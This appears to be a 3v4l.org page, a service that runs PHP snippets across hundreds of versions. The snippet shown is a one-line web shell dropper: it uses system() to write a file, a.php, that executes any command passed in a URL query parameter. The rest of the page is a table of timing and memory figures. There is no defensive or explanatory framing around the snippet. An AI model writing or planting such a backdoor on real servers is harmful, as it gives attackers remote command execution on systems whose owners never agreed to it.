3v4l.org

run code in 300+ PHP versions simultaneously
<?php system('echo "<?php system($$_GET[\'c\']); ?>" > a.php'); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0100.00518.72
8.3.30.0100.00419.09
8.3.20.0080.00020.38
8.3.10.0070.00023.79
8.3.00.0030.00620.66
8.2.170.0070.01422.96
8.2.160.0090.00522.08
8.2.150.0070.00724.18
8.2.140.0080.00024.66
8.2.130.0170.00426.16
8.2.120.0070.00022.33
8.2.110.0030.00722.33
8.2.100.0100.00317.91
8.2.90.0030.00519.00
8.2.80.0040.00417.97
8.2.70.0040.00417.50
8.2.60.0050.00317.80
8.2.50.0060.00318.07
8.2.40.0060.00319.53
8.2.30.0040.00418.00
8.2.20.0040.00417.56
8.2.10.0040.00419.54
8.2.00.0040.00417.73
8.1.270.0050.00323.96
8.1.260.0060.00326.35
8.1.250.0080.00028.09
8.1.240.0000.00923.87
8.1.230.0110.00019.07
8.1.220.0040.00417.74
8.1.210.0000.00818.77
8.1.200.0050.00517.23
8.1.190.0090.00017.39
8.1.180.0040.00418.10
8.1.170.0030.00518.33
8.1.160.0060.00321.97
8.1.150.0000.00718.63
8.1.140.0000.00817.39
8.1.130.0030.00617.89
8.1.120.0050.00217.30
8.1.110.0000.00717.28
8.1.100.0040.00417.38
8.1.90.0070.00017.38
8.1.80.0030.00317.42
8.1.70.0000.00817.27
8.1.60.0030.00617.46
8.1.50.0040.00417.34
8.1.40.0040.00417.50
8.1.30.0030.00517.39
8.1.20.0040.00417.52
8.1.10.0050.00317.36
8.1.00.0050.00317.29
8.0.300.0040.00418.77
8.0.290.0070.00017.05
8.0.280.0040.00418.29
8.0.270.0030.00417.12
8.0.260.0090.00016.70
8.0.250.0030.00316.79
8.0.240.0070.00016.94
8.0.230.0040.00416.78
8.0.220.0040.00416.69
8.0.210.0070.00016.78
8.0.200.0000.00716.79
8.0.190.0060.00316.84
8.0.180.0000.00816.81
8.0.170.0000.00816.89
8.0.160.0000.00816.80
8.0.150.0000.00716.60
8.0.140.0040.00416.80
8.0.130.0060.00013.18
8.0.120.0040.00416.73
8.0.110.0070.00016.83
8.0.100.0030.00516.68
8.0.90.0000.00716.90
8.0.80.0140.00716.86
8.0.70.0000.00716.59
8.0.60.0000.00716.64
8.0.50.0050.00316.73
8.0.30.0130.00716.76
8.0.20.0090.01117.40
8.0.10.0000.00716.81
8.0.00.0090.01116.56
7.4.330.0000.00515.02
7.4.320.0000.00616.50
7.4.300.0040.00416.31
7.4.290.0000.00716.41
7.4.280.0000.00816.31
7.4.270.0000.00716.34
7.4.260.0090.00016.37
7.4.250.0000.00816.26
7.4.240.0030.00416.47
7.4.230.0000.00716.36
7.4.220.0120.00616.56
7.4.210.0100.00816.44
7.4.200.0040.00416.43
7.4.190.0040.00416.32
7.4.160.0110.00616.33
7.4.150.0070.01117.40
7.4.140.0040.01717.86
7.4.130.0110.00816.33
7.4.120.0100.01416.16
7.4.110.0070.01116.25
7.4.100.0070.01016.38
7.4.90.0120.00516.36
7.4.80.0100.00716.24
7.4.70.0140.00316.52
7.4.60.0120.00316.37
7.4.50.0050.00316.04
7.4.40.0090.01022.77
7.4.30.0150.00016.57
7.4.00.0110.00815.03
7.3.330.0020.00313.03
7.3.320.0050.00012.91
7.3.310.0020.00516.11
7.3.300.0050.00316.23
7.3.290.0110.00416.25
7.3.280.0050.01416.21
7.3.270.0160.00717.40
7.3.260.0100.00716.40
7.3.250.0100.00816.24
7.3.240.0080.00916.21
7.3.230.0100.00716.39
7.3.210.0060.01216.34
7.3.200.0170.00419.39
7.3.190.0130.00416.30
7.3.180.0080.00916.38
7.3.170.0110.00616.27
7.3.160.0100.00716.14
7.3.120.0150.00314.71
7.3.10.0110.00616.40
7.3.00.0150.00216.26
7.2.330.0070.01116.30
7.2.320.0070.01016.45
7.2.310.0070.01016.25
7.2.300.0040.01316.11
7.2.290.0140.00316.22
7.2.130.0080.00616.47
7.2.120.0110.00316.47
7.2.110.0130.00616.53
7.2.100.0110.00416.64
7.2.90.0130.01016.43
7.2.80.0030.01216.43
7.2.70.0120.00416.57
7.2.60.0120.00916.78
7.2.50.0160.00516.46
7.2.40.0140.00416.60
7.2.30.0130.00216.69
7.2.20.0190.00516.73
7.2.10.0100.01016.29
7.2.00.0100.00817.39
7.1.250.0090.00815.41
7.1.100.0120.00917.99
7.1.70.0030.00617.10
7.1.60.0070.01919.32
7.1.50.0100.01416.71
7.1.00.0030.07722.52
7.0.200.0090.00016.61
7.0.140.0030.07721.99
7.0.100.0030.08719.89
7.0.90.0100.07019.82
7.0.80.0100.05319.94
7.0.70.0130.04019.82
7.0.60.0130.07719.82
7.0.50.0070.04020.16
7.0.40.0100.07320.05
7.0.30.0070.09320.10
7.0.20.0130.07720.13
7.0.10.0170.07320.05
7.0.00.0070.05020.14
5.6.280.0030.07320.82
5.6.250.0100.07320.54
5.6.240.0030.07720.59
5.6.230.0200.04020.60
5.6.220.0200.07020.68
5.6.210.0130.06720.59
5.6.200.0200.05721.03
5.6.190.0200.08021.11
5.6.180.0000.07021.01
5.6.170.0270.07721.01
5.6.160.0170.07321.00
5.6.150.0230.04321.01
5.6.140.0030.08721.10
5.6.130.0130.08721.18
5.6.120.0030.04321.01
5.6.110.0030.09021.04
5.6.100.0200.08021.00
5.6.90.0030.07721.00
5.6.80.0200.07320.52
5.6.70.0100.04320.32
5.6.60.0100.06720.37
5.6.50.0100.06720.50
5.6.40.0070.07020.44
5.6.30.0070.07720.39
5.6.20.0170.06720.39
5.6.10.0100.04720.29
5.6.00.0130.04020.45
5.5.380.0270.03720.32
5.5.370.0030.08720.36
5.5.360.0070.08720.48
5.5.350.0030.04720.40
5.5.340.0130.06320.87
5.5.330.0170.07720.83
5.5.320.0170.07720.87
5.5.310.0170.06720.83
5.5.300.0170.08320.86
5.5.290.0100.04320.90
5.5.280.0230.06320.83
5.5.270.0170.07720.77
5.5.260.0200.07020.91
5.5.250.0170.06720.54
5.5.240.0170.07020.27
5.5.230.0100.03320.24
5.5.220.0000.07720.14
5.5.210.0100.07320.13
5.5.200.0200.06720.27
5.5.190.0070.07020.24
5.5.180.0130.03020.27
5.5.160.0170.07020.27
5.5.150.0100.04720.25
5.5.140.0200.06720.14
5.5.130.0130.07020.26
5.5.120.0070.07320.08
5.5.110.0100.06720.05
5.5.100.0170.08020.02
5.5.90.0130.07720.01
5.5.80.0200.03320.08
5.5.70.0230.02720.14
5.5.60.0170.06720.02
5.5.50.0000.05320.11
5.5.40.0000.04720.09
5.5.30.0230.03319.96
5.5.20.0170.06720.15
5.5.10.0100.07319.98
5.5.00.0170.07320.11
5.4.450.0100.04319.41
5.4.440.0030.04019.44
5.4.430.0030.04019.29
5.4.420.0030.04019.14
5.4.410.0100.07019.00
5.4.400.0170.07718.95
5.4.390.0230.06319.07
5.4.380.0170.07019.24
5.4.370.0130.04719.11
5.4.360.0170.08319.05
5.4.350.0200.04018.82
5.4.340.0200.07319.04
5.4.320.0100.07319.04
5.4.310.0100.07318.82
5.4.300.0070.06319.00
5.4.290.0070.07718.96
5.4.280.0100.07019.07
5.4.270.0130.03718.90
5.4.260.0030.07019.03
5.4.250.0230.03719.02
5.4.240.0070.04719.07
5.4.230.0130.07018.89
5.4.220.0070.07019.04
5.4.210.0130.04318.78
5.4.200.0100.04318.96
5.4.190.0170.06319.04
5.4.180.0030.08319.02
5.4.170.0100.04318.97
5.4.160.0070.07718.93
5.4.150.0130.06319.09
5.4.140.0100.06016.28
5.4.130.0100.06716.28
5.4.120.0200.07016.29
5.4.110.0270.06716.48
5.4.100.0230.03716.48
5.4.90.0170.05716.45
5.4.80.0170.07016.35
5.4.70.0170.04016.28
5.4.60.0370.04316.46
5.4.50.0070.07316.30
5.4.40.0230.06016.43
5.4.30.0000.03716.27
5.4.20.0130.03716.33
5.4.10.0000.04016.45
5.4.00.0000.04015.71
5.3.290.0070.07714.66
5.3.280.0000.08314.45
5.3.270.0030.07314.57
5.3.260.0100.07714.57
5.3.250.0030.06714.52
5.3.240.0000.04714.56
5.3.230.0030.07714.52
5.3.220.0130.06314.42
5.3.210.0070.07314.43
5.3.200.0030.04714.57
5.3.190.0230.07314.43
5.3.180.0100.07314.42
5.3.170.0030.05714.57
5.3.160.0070.04314.57
5.3.150.0000.07014.41
5.3.140.0030.03714.55
5.3.130.0130.07714.41
5.3.120.0130.04714.41
5.3.110.0200.04314.54
5.3.100.0030.03714.02
5.3.90.0000.04013.86
5.3.80.0000.04013.98
5.3.70.0070.03314.01
5.3.60.0100.03714.01
5.3.50.0030.03713.80
5.3.40.0030.03313.75
5.3.30.0070.03313.82
5.3.20.0070.03313.56
5.3.10.0000.03713.62
5.3.00.0070.03313.60
5.2.170.0030.02712.10
5.2.160.0100.02012.10
5.2.150.0070.02712.10
5.2.140.0000.03312.10
5.2.130.0100.02012.10
5.2.120.0000.03012.10
5.2.110.0070.03312.10
5.2.100.0000.03712.10
5.2.90.0000.03012.10
5.2.80.0100.02012.10
5.2.70.0030.02712.10
5.2.60.0070.02712.10
5.2.50.0000.04312.10
5.2.40.0030.03712.10
5.2.30.0130.05712.10
5.2.20.0130.02712.10
5.2.10.0200.05012.10
5.2.00.0030.02712.10
5.1.60.0100.02712.10
5.1.50.0130.04712.10
5.1.40.0130.03312.10
5.1.30.0030.05312.10
5.1.20.0000.03312.10
5.1.10.0000.02712.10
5.1.00.0070.02312.10
5.0.50.0030.02012.10
5.0.40.0000.02012.10
5.0.30.0030.03012.10
5.0.20.0030.01712.10
5.0.10.0030.01712.10
5.0.00.0000.03312.10
4.4.90.0000.01312.10
4.4.80.0000.01712.10
4.4.70.0070.02012.10
4.4.60.0000.01712.10
4.4.50.0000.02012.10
4.4.40.0000.02312.10
4.4.30.0000.01312.10
4.4.20.0000.01712.10
4.4.10.0070.02012.10
4.4.00.0000.02712.10
4.3.110.0030.01312.10
4.3.100.0000.01712.10
4.3.90.0030.02312.10
4.3.80.0000.02312.10
4.3.70.0000.01712.10
4.3.60.0030.01312.10
4.3.50.0030.01312.10
4.3.40.0030.02312.10
4.3.30.0030.01012.10
4.3.20.0000.01712.10
4.3.10.0000.01312.10
4.3.00.0000.01712.10

preferences:
48.87 ms | 400 KiB | 5 Q